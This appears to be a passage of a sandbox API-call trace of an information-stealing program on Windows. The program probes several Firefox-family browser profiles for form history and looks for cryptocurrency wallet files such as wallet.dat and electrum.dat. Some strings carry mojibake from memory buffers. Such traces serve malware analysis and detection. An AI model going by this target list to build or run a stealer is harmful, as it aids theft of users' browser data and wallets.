Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0075.133] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.133] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.133] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Mozilla\\Firefox\\Profiles\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 0x48 [0075.133] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66e488 [0075.133] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.133] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 1 [0075.133] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 0 [0075.133] FindClose (in: hFindFile=0x66e488 | out: hFindFile=0x66e488) returned 1 [0075.133] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Waterfox\\Profiles\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Waterfox\\Profiles\\") returned 0x41 [0075.133] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Waterfox\\Profiles\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.133] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452712c, cbMultiByte=18, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 18 [0075.133] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.133] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.134] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Comodo\\IceDragon\\Profiles\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\") returned 0x49 [0075.134] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.134] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452712c, cbMultiByte=18, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 18 [0075.134] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.134] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.134] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\8pecxstudios\\Cyberfox\\Profiles\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\") returned 0x4e [0075.134] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.134] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452712c, cbMultiByte=18, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 18 [0075.134] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.134] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.134] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Moonchild Productions\\Pale Moon\\Profiles\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\") returned 0x58 [0075.134] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.134] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452712c, cbMultiByte=18, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 18 [0075.134] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.134] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.134] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned 0x2f [0075.135] SysReAllocStringLen (in: pbstr=0x452e44c*=0x0, psz=".wallet", len=0x7 | out: pbstr=0x452e44c*=".wallet") returned 1 [0075.135] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985860, cbMultiByte=15, lpWideCharStr=0x18d324, cchWideChar=2047 | out: lpWideCharStr="wallets\\.wallet") returned 15 [0075.135] SysReAllocStringLen (in: pbstr=0x452e450*=0x0, psz="wallets\\.wallet", len=0xf | out: pbstr=0x452e450*="wallets\\.wallet") returned 1 [0075.135] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x398587c, cbMultiByte=10, lpWideCharStr=0x18d324, cchWideChar=2047 | out: lpWideCharStr="wallet.datallet") returned 10 [0075.135] SysReAllocStringLen (in: pbstr=0x452e454*=0x0, psz="wallet.dat", len=0xa | out: pbstr=0x452e454*="wallet.dat") returned 1 [0075.135] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985894, cbMultiByte=18, lpWideCharStr=0x18d324, cchWideChar=2047 | out: lpWideCharStr="wallets\\wallet.dat\x10") returned 18 [0075.135] SysReAllocStringLen (in: pbstr=0x452e458*=0x0, psz="wallets\\wallet.dat", len=0x12 | out: pbstr=0x452e458*="wallets\\wallet.dat") returned 1 [0075.135] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39858b4, cbMultiByte=12, lpWideCharStr=0x18d324, cchWideChar=2047 | out: lpWideCharStr="electrum.datet.dat\x10") returned 12 [0075.135] SysReAllocStringLen (in: pbstr=0x452e45c*=0x0, psz="electrum.dat", len=0xc | out: pbstr=0x452e45c*="electrum.dat") returned 1 [0075.135] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39858d0, cbMultiByte=20, lpWideCharStr=0x18d324, cchWideChar=2047 | out: lpWideCharStr="wallets\\electrum.dat传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ꋐ라펀\x18ꋘ라펈\x18⹼疘Љ") returned 20 [0075.135] SysReAllocStringLen (in: pbstr=0x452e460*=0x0, psz="wallets\\electrum.dat", len=0x14 | out: pbstr=0x452e460*="wallets\\electrum.dat") returned 1 [0075.135] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\\\*", lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x969ff320, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x969ff320, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66e488 [0075.135] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x969ff320, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x969ff320, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.135] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c5deb40, ftCreationTime.dwHighDateTime=0x1d4d4a0, ftLastAccessTime.dwLowDateTime=0xfe8ac940, ftLastAccessTime.dwHighDateTime=0x1d4cf62, ftLastWriteTime.dwLowDateTime=0xfe8ac940, ftLastWriteTime.dwHighDateTime=0x1d4cf62, nFileSizeHigh=0x0, nFileSizeLow=0x10304, dwReserved0=0x0, dwReserved1=0x0, cFileName="-2-d2UdE5bHRb3Wgt.csv", cAlternateFileName="-2-D2U~1.CSV")) returned 1 [0075.136] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x92ddbd70, ftCreationTime.dwHighDateTime=0x1d4cad4, ftLastAccessTime.dwLowDateTime=0x880dfd40, ftLastAccessTime.dwHighDateTime=0x1d4d2ec, ftLastWriteTime.dwLowDateTime=0x880dfd40, ftLastWriteTime.dwHighDateTime=0x1d4d2ec, nFileSizeHigh=0x0, nFileSizeLow=0x14b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="-LozpNEJj9YNqUHsd.bmp", cAlternateFileName="-LOZPN~1.BMP")) returned 1 [0075.136] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6ac2db30, ftCreationTime.dwHighDateTime=0x1d4d179, ftLastAccessTime.dwLowDateTime=0x5ed0c5b0, ftLastAccessTime.dwHighDateTime=0x1d4d3ec, ftLastWriteTime.dwLowDateTime=0x5ed0c5b0, ftLastWriteTime.dwHighDateTime=0x1d4d3ec, nFileSizeHigh=0x0, nFileSizeLow=0x173b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="1KRW.docx", cAlternateFileName="1KRW~1.DOC")) returned 1 [0075.136] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c9a01e0, ftCreationTime.dwHighDateTime=0x1d4d323, ftLastAccessTime.dwLowDateTime=0x146ac9b0, ftLastAccessTime.dwHighDateTime=0x1d4ce08, ftLastWriteTime.dwLowDateTime=0x146ac9b0, ftLastWriteTime.dwHighDateTime=0x1d4ce08, nFileSizeHigh=0x0, nFileSizeLow=0xe4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="2nK3ie.gif", cAlternateFileName="")) returned 1 [0075.136] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x943407a0, ftCreationTime.dwHighDateTime=0x1d4c800, ftLastAccessTime.dwLowDateTime=0xbddf4ee0, ftLastAccessTime.dwHighDateTime=0x1d4cb14, ftLastWriteTime.dwLowDateTime=0xbddf4ee0, ftLastWriteTime.dwHighDateTime=0x1d4cb14, nFileSizeHigh=0x0, nFileSizeLow=0x9f5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="3DqT2nFM1V.avi", cAlternateFileName="3DQT2N~1.AVI")) returned 1 [0075.136] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13549dd0, ftCreationTime.dwHighDateTime=0x1d4d231, ftLastAccessTime.dwLowDateTime=0xf26482e0, ftLastAccessTime.dwHighDateTime=0x1d4d31e, ftLastWriteTime.dwLowDateTime=0xf26482e0, ftLastWriteTime.dwHighDateTime=0x1d4d31e, nFileSizeHigh=0x0, nFileSizeLow=0xc867, dwReserved0=0x0, dwReserved1=0x0, cFileName="54wzRLhXV aZNY.mp3", cAlternateFileName="54WZRL~1.MP3")) returned 1 [0075.136] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x220ccd20, ftCreationTime.dwHighDateTime=0x1d4d36c, ftLastAccessTime.dwLowDateTime=0xafae6e30, ftLastAccessTime.dwHighDateTime=0x1d4d430, ftLastWriteTime.dwLowDateTime=0xafae6e30, ftLastWriteTime.dwHighDateTime=0x1d4d430, nFileSizeHigh=0x0, nFileSizeLow=0x13004, dwReserved0=0x0, dwReserved1=0x0, cFileName="5D8r7iPaICW-fL.mkv", cAlternateFileName="5D8R7I~1.MKV")) returned 1 [0075.136] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x504d2190, ftCreationTime.dwHighDateTime=0x1d4c745, ftLastAccessTime.dwLowDateTime=0x4281c3d0, ftLastAccessTime.dwHighDateTime=0x1d4c679, ftLastWriteTime.dwLowDateTime=0x4281c3d0, ftLastWriteTime.dwHighDateTime=0x1d4c679, nFileSizeHigh=0x0, nFileSizeLow=0x1b6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="5H7Vrui.docx", cAlternateFileName="5H7VRU~1.DOC")) returned 1 [0075.136] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabc36e80, ftCreationTime.dwHighDateTime=0x1d4d587, ftLastAccessTime.dwLowDateTime=0x65ee46c0, ftLastAccessTime.dwHighDateTime=0x1d4d0cb, ftLastWriteTime.dwLowDateTime=0x65ee46c0, ftLastWriteTime.dwHighDateTime=0x1d4d0cb, nFileSizeHigh=0x0, nFileSizeLow=0x16505, dwReserved0=0x0, dwReserved1=0x0, cFileName="91rY3w.mp4", cAlternateFileName="")) returned 1 [0075.136] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8545e390, ftCreationTime.dwHighDateTime=0x1d4d02e, ftLastAccessTime.dwLowDateTime=0x8edc4f60, ftLastAccessTime.dwHighDateTime=0x1d4d0e8, ftLastWriteTime.dwLowDateTime=0x8edc4f60, ftLastWriteTime.dwHighDateTime=0x1d4d0e8, nFileSizeHigh=0x0, nFileSizeLow=0xc149, dwReserved0=0x0, dwReserved1=0x0, cFileName="9K1DyZU6hUho.swf", cAlternateFileName="9K1DYZ~1.SWF")) returned 1 [0075.137] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0075.143] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ec1b9f0, ftCreationTime.dwHighDateTime=0x1d4cade, ftLastAccessTime.dwLowDateTime=0x482c7de0, ftLastAccessTime.dwHighDateTime=0x1d4d365, ftLastWriteTime.dwLowDateTime=0x482c7de0, ftLastWriteTime.dwHighDateTime=0x1d4d365, nFileSizeHigh=0x0, nFileSizeLow=0x11f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="aoAX8FEUok.swf", cAlternateFileName="AOAX8F~1.SWF")) returned 1 [0075.143] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fd3a7a0, ftCreationTime.dwHighDateTime=0x1d4d5a4, ftLastAccessTime.dwLowDateTime=0x327b82a0, ftLastAccessTime.dwHighDateTime=0x1d4d060, ftLastWriteTime.dwLowDateTime=0x327b82a0, ftLastWriteTime.dwHighDateTime=0x1d4d060, nFileSizeHigh=0x0, nFileSizeLow=0x61e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="bbdArE-i.docx", cAlternateFileName="BBDARE~1.DOC")) returned 1 [0075.144] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53e0e200, ftCreationTime.dwHighDateTime=0x1d4c93a, ftLastAccessTime.dwLowDateTime=0xb1934650, ftLastAccessTime.dwHighDateTime=0x1d4cc86, ftLastWriteTime.dwLowDateTime=0xb1934650, ftLastWriteTime.dwHighDateTime=0x1d4cc86, nFileSizeHigh=0x0, nFileSizeLow=0x55d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cLDO9CeqDqvyGp18uI9o.flv", cAlternateFileName="CLDO9C~1.FLV")) returned 1 [0075.144] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ed3f280, ftCreationTime.dwHighDateTime=0x1d4d4db, ftLastAccessTime.dwLowDateTime=0x1d096eb0, ftLastAccessTime.dwHighDateTime=0x1d4cd67, ftLastWriteTime.dwLowDateTime=0x1d096eb0, ftLastWriteTime.dwHighDateTime=0x1d4cd67, nFileSizeHigh=0x0, nFileSizeLow=0x95d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fxlxn.gif", cAlternateFileName="")) returned 1 [0075.144] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf019aeb0, ftCreationTime.dwHighDateTime=0x1d4d090, ftLastAccessTime.dwLowDateTime=0x2ef2e9b0, ftLastAccessTime.dwHighDateTime=0x1d4c53f, ftLastWriteTime.dwLowDateTime=0x2ef2e9b0, ftLastWriteTime.dwHighDateTime=0x1d4c53f, nFileSizeHigh=0x0, nFileSizeLow=0x7ed9, dwReserved0=0x0, dwReserved1=0x0, cFileName="gIN4UnQrPywWhHMpL31.ots", cAlternateFileName="GIN4UN~1.OTS")) returned 1 [0075.144] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83c0e3e0, ftCreationTime.dwHighDateTime=0x1d4c6af, ftLastAccessTime.dwLowDateTime=0xfbb14110, ftLastAccessTime.dwHighDateTime=0x1d4cf2e, ftLastWriteTime.dwLowDateTime=0xfbb14110, 